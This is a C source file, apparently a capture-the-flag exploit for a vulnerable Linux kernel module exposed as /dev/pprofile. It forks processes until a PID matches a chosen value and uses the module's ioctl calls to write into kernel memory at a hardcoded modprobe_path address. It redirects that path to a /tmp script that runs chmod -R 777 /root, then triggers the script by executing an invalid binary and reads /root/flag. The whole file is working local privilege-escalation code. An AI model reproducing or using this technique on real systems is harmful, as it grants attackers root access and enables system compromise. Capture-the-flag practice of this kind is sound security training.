exploit.c

/**
 * author: @meowmeowxw
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <assert.h>
#include <sys/wait.h>

#define DEVICE_NAME "/dev/pprofile"
#define READ 16
#define ADD 32
#define FREE 64

typedef struct {
    char *buf;
    void *garbage;
} request_t;

const char cat[] = {0xf0, 0x9f, 0x90, 0x88, '\0'};
uint64_t modprobe_path = 0xffffffff82256f40;
int fd;
char *tmp_1 = "/t";
char *tmp_2 = "mp";
char *tmp_3 = "/a";

void write_in_address(uint64_t address, int32_t value, char *buf);

int main(int argc, char **argv) {
    int i;
    fd = open(DEVICE_NAME, O_RDONLY);
    printf("fd: %d\n", fd);

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/bho");
    system("chmod +x /tmp/bho");
    system("echo -ne '#!/bin/sh\nchmod -R 777 /root' > /tmp/a\n");
    system("chmod +x /tmp/a");

    // for the first 8 bytes the module does put_user(0, address);
    write_in_address(modprobe_path - 8, *(int16_t *)tmp_1, "meowmeowxw");
    write_in_address(modprobe_path + 2 - 8, *(int16_t *)tmp_2, "eheheheheh");
    write_in_address(modprobe_path + 4 - 8, *(int16_t *)tmp_3, "ohohohohoh");

    printf("[#] read flag: ");
    for (i = 0; i < 10; i++) {
        printf("%s ", cat);
    }
    printf("\n");

    system("/tmp/bho");
    system("cat /root/flag");

    return 0;
}

void write_in_address(uint64_t address, int32_t value, char *buf) {
    int ret;
    pid_t pid, current;
    request_t req;
    while(1) {
        pid = fork();
        switch(pid) {
            case -1:
                perror("fork\n");
                exit(-1);
            case 0:
                current = getpid();
                if (current != value) {
                    exit(0);
                }
                printf("current: %d\tvalue: %d\n", current, value);
                printf("[*] let's write in 0x%016lx: %x\n", address + 8, value);
                req.buf = calloc(8, 1);
                strncpy(req.buf, buf, 8);
                req.garbage = (void *)address;
                ret = ioctl(fd, ADD, &req);
                ret = ioctl(fd, READ, &req);
                exit(0);
                break;
            default:
                waitpid(pid, 0, 0);
                if (pid == value) {
                    printf("[!] done writing\n\n");
                    return;
                }
        }
    }
    return;
}